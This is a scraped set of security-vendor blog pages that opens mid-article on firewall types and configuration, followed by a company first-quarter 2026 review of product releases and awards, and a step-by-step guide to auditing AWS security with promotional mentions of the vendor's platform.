leverage cloud-based threat intelligence services to stay updated with the latest threat information. This real-time threat intelligence helps NGFWs identify and block emerging threats more effectively. Scalability and Performance : NGFWs are designed to handle the increasing volume of network traffic in modern networks. They offer improved performance and scalability, ensuring that security does not compromise network speed. Logging and Reporting : NGFWs generate detailed logs and reports of network activity. These logs are valuable for auditing, compliance, and forensic analysis, helping organizations understand and respond to security incidents. 3. Proxy Firewalls Proxy firewalls are also called application-level gateways or gateway firewalls. They define which applications a network can support, increasing security but demanding continuous attention to maintain network functionality and efficiency. Proxy firewalls provide a single point of access allowing organizations to assess the threat posed by the applications they use. It conducts deep packet inspection and uses proxy-based architecture to mitigate the risk of Application Layer attacks. Many organizations use proxy servers to segment the parts of their network most likely to come under attack. Proxy firewalls can monitor the core internet protocols these servers use against every application they support. The proxy firewall centralizes application activity into a single server and provides visibility into each data packet processed. This allows the organization to maintain a high level of security on servers that make tempting cyberattack targets. However, these servers won’t be able to support new applications without additional firewall configuration. These types of firewalls work well in highly segmented networks that allow organizations to restrict access to sensitive data without impacting usability and production. 4. Hardware Firewalls Hardware firewalls are physical devices that secure the flow of traffic between devices in a network. Before cloud computing became prevalent, most firewalls were physical hardware devices. Now, organizations can choose to secure on-premises network infrastructure using hardware firewalls that manage the connections between routers, switches, and individual devices. While the initial cost of acquiring and configuring a hardware firewall can be high, the ongoing overhead costs are smaller than what software firewall vendors charge (often an annual license fee). This pricing structure makes it difficult for growing organizations to rely entirely on hardware devices. There is always a chance that you end up paying for equipment you don’t end up using at full capacity. Hardware firewalls offer a few advantages over software firewalls: They avoid using network resources that could otherwise go to value-generating tasks. They may end up costing less over time than a continuously renewed software firewall subscription fee. Centralized logging and monitoring can make hardware firewalls easier to manage than complex software-based deployments. 5. Software Firewalls Many firewall vendors provide virtualized versions of their products as software. They typically charge an annual licensing fee for their firewall-as-a-service product, which runs on any suitably provisioned server or device. Some software firewall configurations require the software to be installed on every computer in the network, which can increase the complexity of deployment and maintenance over time. If firewall administrators forget to update a single device, it may become a security vulnerability. At the same time, these firewalls don’t have their own operating systems or dedicated system resources available. They must draw computing power and memory from the devices they are installed on. This leaves less power available for mission-critical tasks. However, software firewalls carry a few advantages compared to hardware firewalls: The initial subscription-based cost is much lower, and many vendors offer a price structure that ensures you don’t pay for resources you don’t use. Software firewalls do not take up any physical space, making them ideal for smaller organizations. The process of deploying software firewalls often only takes a few clicks. With hardware firewalls, the process can involve complex wiring and time-consuming testing. Advanced Threats and Firewall Solutions Most firewalls are well-equipped to block simple threats, but advanced threats can still cause problems. There are many different types of advanced threats designed to bypass standard firewall policies. Advanced Persistent Threats (APTs) often compromise high-level user accounts and slowly spread throughout the network using lateral movement. They may move slowly, gathering information and account credentials over weeks or months before exfiltrating the data undetected. By moving slowly, these threats avoid triggering firewall rules. Credential-based attacks bypass simple firewall rules by using genuine user credentials to carry out attacks. Since most firewall policies trust authenticated users, attackers can easily bypass rules by stealing user account credentials. Simple firewalls can’t distinguish between normal traffic and malicious traffic by an authenticated, signed-in user. Malicious insiders can be incredibly difficult to detect. These are genuine, authenticated users who have decided to act against the organization’s interest. They may already know how the firewall system works, or have privileged access to firewall configurations and policies. Combination attacks may target multiple security layers with separate, independent attacks. For example, your cloud-based firewalls may face a Distributed Denial of Service (DDoS) attack while a malicious insider exfiltrates information from the cloud. These tactics allow hackers to coordinate attacks and cover their tracks. Only next-generation firewalls have security features that can address these types of attack. Anti-data exfiltration tools may prevent users from sending their login credentials to unsecured destinations, or prevent large-scale data exfiltration altogether. Identity-based policies may block authenticated users from accessing assets they do not routinely use. Firewall Configuration and Security Policies The success of any firewall implementation is determined by the quality of its security rules. These rules decide which types of traffic the firewall will allow to pass, and what traffic it will block. In a modern network environment, this is done using four basic types of firewall rules: Access Control Lists (ACLs). These identify the users who have permission to access a certain resource or asset. They may also dictate which operations are allowed on that resource or asset. Network Address Translation (NAT) rules. These rules protect internal devices by hiding their original IP address from the public Internet. This makes it harder for hackers to gain unauthorized access to system resources because they can’t easily target individual devices from outside the network. Stateful packet filtering . This is the process of inspecting data packets in each connection and determining what to do with data flows that do not appear genuine. Stateful firewalls keep track of existing connections, allowing them to verify the authentication of incoming data that claims to be part of an already established connection. Application-level gateways. These firewall rules provide application-level protection, preventing hackers from disguising malicious traffic as data from (or for) an application. To perform this kind of inspection, the firewall must know what normal traffic looks like for each application on the network, and be able to match incoming traffic with those applications. Network Performance and Firewalls Firewalls can impact network performance and introduce latency into networks. Optimizing network performance with firewalls is a major challenge in any firewall implementation project. Firewall experts use a few different approaches to reduce latency and maintain fast, reliable network performance: Installing hardware firewalls on high-volume routes helps, since separate physical devices won’t draw computing resources away from other network devices. Using software firewalls in low-volume situations where flexibility is important. Sometimes, being able to quickly configure firewall rules to adapt to changing business conditions can make a major difference in overall network performance. Configuring servers to efficiently block unwanted traffic is a continuous process. Server administrators should avoid overloading firewalls with denied outbound requests that strain firewalls at the network perimeter. Firewall administrators should try to distribute unwanted traffic across multiple firewalls and routers instead of allowing it to concentrate on one or two devices. They should also try reducing the complexity of the firewall rule base and minimize overlapping rules. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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As we close out the first quarter of 2026, I find myself reflecting on a start to the year that was defined by product momentum, stronger market validation, growing trust from regulated organizations, and meaningful industry recognition. In just three months, AlgoSec introduced important platform enhancements, published fresh research on where network security is heading, strengthened its standing with government and highly regulated customers, and closed the quarter with three major awards.... AlgoSec Reviews Q1 at AlgoSec: What innovations and milestones defined our start to 2026? Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/6/26 Published As we close out the first quarter of 2026, I find myself reflecting on a start to the year that was defined by product momentum, stronger market validation, growing trust from regulated organizations, and meaningful industry recognition. In just three months , AlgoSec introduced important platform enhancements, published fresh research on where network security is heading, strengthened its standing with government and highly regulated customers, and closed the quarter with three major awards. More importantly, Q1 reinforced something we believe strongly: the market is moving toward security that is more application-centric, more automated, and more aligned with business reality. January – Removing friction across hybrid and multi-cloud security We opened the year with the release of A33.20, a meaningful step forward for the AlgoSec Horizon platform. The focus of this release was practical and timely: help security teams move faster without losing visibility, control, or confidence. As hybrid environments continue to grow more complex, policy changes are happening under tighter timelines and with higher business stakes. A33.20 was built to reduce that friction by simplifying workflows , improving visibility across AWS, Azure, Google Cloud, and Palo Alto Networks environments , automating more of the change process, and evaluating risk and compliance in the context of enterprise applications rather than as disconnected technical issues. What stood out most to me about this release was not just the feature list, but the direction behind it. Security teams do not need more noise. They need better context, clearer prioritization, and safer execution. With A33.20, we kept pushing toward a model where security policy management becomes more intelligent, more business-aware, and far less dependent on manual, error-prone work. That is the standard modern enterprises are increasingly demanding, and it set the tone for our quarter. February – Turning market insight and trust into momentum In February, we released the 2026 State of Network Security Report , and the findings made one thing very clear: the market is entering a new phase. Based on more than 500 responses across 28 countries, the report showed that organizations are looking for consolidation, unification, automation, and control as they navigate rapid cloud expansion, distributed workloads, and AI-driven traffic patterns. It also showed how quickly the environment is changing: 65% of respondents said they had already adjusted their strategies in response to AI-powered attacks, and 54.7% said security capabilities are now the most important factor when selecting a cloud platform. That market shift was reflected in our own momentum. In February, AlgoSec reported its best year ever , with gross dollar retention above 90%, 37% year-over-year new business growth in 2025, and more than 100 customers implementing the Horizon platform within months of its launch . March – Three awards that told one bigger story March brought a level of external validation that made the quarter feel complete. First, the 2026 Globee Awards for Cybersecurity named AlgoSec Horizon the Gold winner and Best of Category for Risk and Policy Management Solution . For us, that recognition validated the value of helping customers cut through fragmented environments with unified visibility across cloud and on-prem networks, automate policy management safely, and prioritize remediation in the context of real business applications. That recognition was followed by Cyber Defense Magazine’s 2026 Global InfoSec Award for Trailblazing AI-Powered Cybersecurity Solutions , published as part of its RSAC/March 2026 issue. This award mattered for a different but equally important reason. It reinforced that our AI strategy is not about adding another feature or another layer of alerts. It is about changing how security is managed: using AI to understand applications, prioritize risk based on business impact, and help teams implement the right policies across multi-cloud and on-prem environments. The capabilities highlighted internally — Horizon AppViz , AI risk prioritization, Intelligent Policy, and the Algo AI Assistant — reflect that broader shift from reactive security operations to intelligent, application-aware automation. Then came the 2026 SC Award for Best Risk/Policy Management Solution . What I especially appreciate about this recognition is that it reinforced the completeness of the platform story. SC Media highlighted AlgoSec’s application-centric approach across virtual, cloud, and physical environments, with a judge’s emphasis on the clarity of the overall offering and its fit for the enterprise environment. Together with the Globee recognition , the SC Award strengthened the message that risk and policy management today must be tied to application context, business impact, and real operational execution, not just rule sprawl or isolated controls. Taken together, these three awards told one bigger story about who we are and where the market is heading. Two awards validated our strength in risk and policy management. One validated our leadership in AI-powered cybersecurity innovation. All three pointed to the same underlying differentiation: AlgoSec does not treat applications, risk, and policy as separate problems. We connect them in one platform, helping organizations gain visibility, reduce manual effort, accelerate delivery, and maintain continuous compliance across hybrid environments. Looking ahead If Q1 is any indication, 2026 will be a year defined by consolidation . Security teams are being asked to move faster, manage more complexity, and prove business value more clearly than ever before . Our responsibility is to help them do exactly that with better visibility, smarter automation, stronger compliance, and a security model built around how applications actually work. That is the direction we have been building toward, and Q1 gave us strong proof that it is the right one. We are proud of how the year has begun, but even more energized by what comes next. The momentum from this quarter gives us a strong foundation for the rest of 2026, and we remain focused on helping enterprises simplify security management, reduce risk, and secure application connectivity without slowing the business down. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

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90% of organizations use a multi-cloud operating model to help achieve their business goals in a 2022 survey. AWS (Amazon Web Services) is among the biggest cloud computing platforms businesses use today. It offers cloud storage via data warehouses or data lakes, data analytics, machine learning, security, and more. Given the prevalence of multi-cloud environments, cloud security is a major concern. 89% of respondents in the above survey said security was a key aspect of cloud success.... Cloud Security The Complete Guide to Perform an AWS Security Audit Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/27/23 Published 90% of organizations use a multi-cloud operating model to help achieve their business goals in a 2022 survey. AWS (Amazon Web Services) is among the biggest cloud computing platforms businesses use today. It offers cloud storage via data warehouses or data lakes, data analytics, machine learning, security, and more. Given the prevalence of multi-cloud environments, cloud security is a major concern. 89% of respondents in the above survey said security was a key aspect of cloud success. Security audits are essential for network security and compliance. AWS not only allows audits but recommends them and provides several tools to help, like AWS Audit Manager. In this guide, we share the best practices for an AWS security audit and a detailed step-by-step list of how to perform an AWS audit. We have also explained the six key areas to review. Best practices for an AWS security audit There are three key considerations for an effective AWS security audit: Time it correctly You should perform a security audit: On a regular basis. Perform the steps described below at regular intervals. When there are changes in your organization, such as new hires or layoffs. When you change or remove the individual AWS services you use. This ensures you have removed unnecessary permissions. When you add or remove software to your AWS infrastructure. When there is suspicious activity, like an unauthorized login. Be thorough When conducting a security audit: Take a detailed look at every aspect of your security configuration, including those that are rarely used. Do not make any assumptions. Use logic instead. If an aspect of your security configuration is unclear, investigate why it was instated and the business purpose it serves. Simplify your auditing and management process by using unified cloud security platforms . Leverage the shared responsibility model AWS uses a shared responsibility model. It splits the responsibility for the security of cloud services between the customer and the vendor. A cloud user or client is responsible for the security of: Digital identities Employee access to the cloud Data and objects stored in AWS Any third-party applications and integrations AWS handles the security of: The global AWS online infrastructure The physical security of their facilities Hypervisor configurations Managed services like maintenance and upgrades Personnel screening Many responsibilities are shared by both the customer and the vendor, including: Compliance with external regulations Security patches Updating operating systems and software Ensuring network security Risk management Implementing business continuity and disaster recovery strategies The AWS shared responsibility model assumes that AWS must manage the security of the cloud. The customer is responsible for security within the cloud. Step-by-step process for an AWS security audit An AWS security audit is a structured process to analyze the security of your AWS account. It lets you verify security policies and best practices and secure your users, roles, and groups. It also ensures you comply with any regulations. You can use these steps to perform an AWS security audit: Step 1: Choose a goal and audit standard Setting high-level goals for your AWS security audit process will give the audit team clear objectives to work towards. This can help them decide their approach for the audit and create an audit program. They can outline the steps they will take to meet goals. Goals are also essential to measure the organization’s current security posture. You can speed up this process using a Cloud Security Posture Management (CSPM) tool . Next, define an audit standard. This defines assessment criteria for different systems and security processes. The audit team can use the audit standard to analyze current systems and processes for efficiency and identify any risks. The assessment criteria drive consistent analysis and reporting. Step 2: Collect and review all assets Managing your AWS system starts with knowing what resources your organization uses. AWS assets can be data stores, applications, instances, and the data itself. Auditing your AWS assets includes: Create an asset inventory listing: Gather all assets and resources used by the organization. You can collect your assets using AWS Config, third-party tools, or CLI (Command Line Interface) scripts. Review asset configuration: Organizations must use secure configuration management practices for all AWS components. Auditors can validate if these standards are competent to address known security vulnerabilities. Evaluate risk: Asses how each asset impacts the organization’s risk profile. Integrate assets into the overall risk assessment program. Ensure patching: Verify that AWS services are included in the internal patch management process. Step 3: Review access and identity Reviewing account and asset access in AWS is critical to avoid cybersecurity attacks and data breaches. AWS Identity and Access Management (IAM ) is used to manage role-based access control. This dictates which users can access and perform operations on resources. Auditing access controls include: Documenting AWS account owners: List and review the main AWS accounts, known as the root accounts. Most modern teams do not use root accounts at all, but if needed, use multiple root accounts. Implement multi-factor authentication (MFA): Implement MFA for all AWS accounts based on your security policies. Review IAM user accounts: Use the AWS Management Console to identify all IAM users. Evaluate and modify the permissions and policies for all accounts. Remove old users. Review AWS groups: AWS groups are a collection of IAM users. Evaluate each group and the permissions and policies assigned to them. Remove old groups. Check IAM roles: Create job-specific IAM roles. Evaluate each role and the resources it has access to. Remove roles that have not been used in 90 days or more. Define monitoring methods: Install monitoring methods for all IAM accounts and roles. Regularly review these methods. Use least privilege access: The Principle of Least Privilege Access (PoLP) ensures users can only access what they need to complete a task. It prevents overly-permissive access controls and the misuse of systems and data. Implement access logs: Use access logs to track requests to access resources and changes made to resources. Step 4: Analyze data flows Protecting all data within the AWS ecosystem is vital for organizations to avoid data leaks. Auditors must understand the data flow within an organization. This includes how data moves from one system to another in AWS, where data is stored, and how it is protected. Ensuring data protection includes: Assess data flow: Check how data enters and exits every AWS resource. Identify any vulnerabilities in the data flows and address them. Ensure data encryption: Check if all data is encrypted at rest and in transit. Review connection methods: Check connection methods to different AWS systems. Depending on your workloads, this could include AWS Console, S3, RDS (relational database service), and more. Use key management services: Ensure data is encrypted at rest using AWS key management services. Use multi-cloud management services: Since most organizations use more than one cloud system, using multi-cloud CSPM software is essential. Step 5: Review public resources Elements within the AWS ecosystem are intentionally public-facing, like applications or APIs. Others are accidentally made public due to misconfiguration. This can lead to data loss, data leaks, and unintended access to accounts and services. Common examples include EBS snapshots, S3 objects, and databases. Identifying these resources helps remediate risks by updating access controls. Evaluating public resources includes: Identifying all public resources: List all public-facing resources. This includes applications, databases, and other services that can access your AWS data, assets, and resources. Conduct vulnerability assessments: Use automated tools or manual techniques to identify vulnerabilities in your public resources. Prioritize the risks and develop a plan to address them. Evaluate access controls: Review the access controls for each public resource and update them as needed. Remove unauthorized access using security controls and tools like S3 Public Access Block and Guard Duty. Review application code: Check the code for all public-facing applications for vulnerabilities that attackers could exploit. Conduct tests for common risks such as SQL injection, cross-site scripting (XSS), and buffer overflows. Key AWS areas to review in a security audit There are six essential parts of an AWS system that auditors must assess to identify risks and vulnerabilities: Identity access management (IAM) AWS IAM manages the users and access controls within the AWS infrastructure. You can audit your IAM users by: List all IAM users, groups, and roles. Remove old or redundant users. Also, remove these users from groups. Delete redundant or old groups. Remove IAM roles that are no longer in use. Evaluate each role’s trust and access policies. Review the policies assigned to each group that a user is in. Remove old or unnecessary security credentials. Remove security credentials that might have been exposed. Rotate long-term access keys regularly. Assess security credentials to identify any password, email, or data leaks. These measures prevent unauthorized access to your AWS system and its data. Virtual private cloud (VPC) Amazon Virtual Private Cloud (VPC) enables organizations to deploy AWS services on their own virtual network. Secure your VPC by: Checking all IP addresses, gateways, and endpoints for vulnerabilities. Creating security groups to control the inbound and outbound traffic to the resources within your VPC. Using route tables to check where network traffic from each subnet is directed. Leveraging traffic mirroring to copy all traffic from network interfaces. This data is sent to your security and monitoring applications. Using VPC flow logs to capture information about all IP traffic going to and from the network interfaces. Regularly monitor, update, and assess all of the above elements. Elastic Compute Cloud (EC2) Amazon Elastic Compute Cloud (EC2) enables organizations to develop and deploy applications in the AWS Cloud. Users can create virtual computing environments, known as instances, to launch as servers. You can secure your Amazon EC2 instances by: Review key pairs to ensure that login information is secure and only authorized users can access the private key. Eliminate all redundant EC2 instances. Create a security group for each EC2 instance. Define rules for inbound and outbound traffic for every instance. Review security groups regularly. Eliminate unused security groups. Use Elastic IP addresses to mask instance failures and enable instant remapping. For increased security, use VPCs to deploy your instances. Storage (S3) Amazon S3, or Simple Storage Service, is a cloud-native object storage platform. It allows users to store and manage large amounts of data within resources called buckets. Auditing S3 involves: Analyze IAM access controls Evaluate access controls given using Access Control Lists (ACLs) and Query String Authentication Re-evaluate bucket policies to ensure adequate object permissions Check S3 audit logs to identify any anomalies Evaluate S3 security configurations like Block Public Access, Object Ownership, and PrivateLink. Use Amazon Macie to get alerts when S3 buckets are publically accessible, unencrypted, or replicated. Mobile apps Mobile applications within your AWS environment must be audited. Organizations can do this by: Review mobile apps to ensure none of them contain access keys. Use MFA for all mobile apps. Check for and remove all permanent credentials for applications. Use temporary credentials so you can frequently change security keys. Enable multiple login methods using providers like Google, Amazon, and Facebook. Threat detection and incident response The AWS cloud infrastructure must include mechanisms to detect and react to security incidents. To do this, organizations and auditors can: Create audit logs by enabling AWS CloudTrail, storing and access logs in S3, CloudWatch logs, WAF logs, and VPC Flow Logs. Use audit logs to track assessment trails and detect any deviations or notable events Review logging and monitoring policies and procedures Ensure all AWS services, including EC2 instances, are monitored and logged Install logging mechanisms to centralize logs on one server and in proper formats Implement a dynamic Incident Response Plan for AWS services. Include policies to mitigate cybersecurity incidents and help with data recovery. Include AWS in your Business Continuity Plan (BCP) to improve disaster recovery. Dictate policies related to preparedness, crisis management elements, and more. Top tools for an AWS audit You can use any number of AWS security options and tools as you perform your audit. However, a Cloud-Native Application Protection Platform (CNAPP) like Horizon ACE is the ideal tool for an AWS audit. It combines the features of multiple cloud security solutions and automates security management. Horizon ACE increases efficiency by enabling fast and secure agentless cloud security configuration management. It supports Amazon AWS, Microsoft Azure, and Google Cloud. All security issues across these vendors are shown on a single dashboard. You can also perform a manual comprehensive AWS audit using multiple AWS tools: Identity and access management: AWS IAM and AWS IAM Access Analyzer Data protection: AWS Macie and AWS Secrets Manager Detection and monitoring: AWS Security Hub, Amazon GuardDuty, AWS Config, AWS CloudTrail, AWS CloudWatch Infrastructure protection: AWS Web Application Firewall, AWS Shield A manual audit of different AWS elements can be time-consuming. Auditors must juggle multiple tools and gather information from various reports. A dynamic platform like Horizon ACE speeds up this process. It scans all elements within your AWS systems in minutes and instantly displays any threats on the dashboard. The bottom line on AWS security audits Security audits are essential for businesses using AWS infrastructures. Maintaining network security and compliance via an audit prevents data breaches, prevents cyberattacks, and protects valuable assets. A manual audit using AWS tools can be done to ensure safety. However, an audit of all AWS systems and processes using Horizon ACE is more comprehensive and reliable. It helps you identify threats faster and streamlines the security management of your cloud system. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call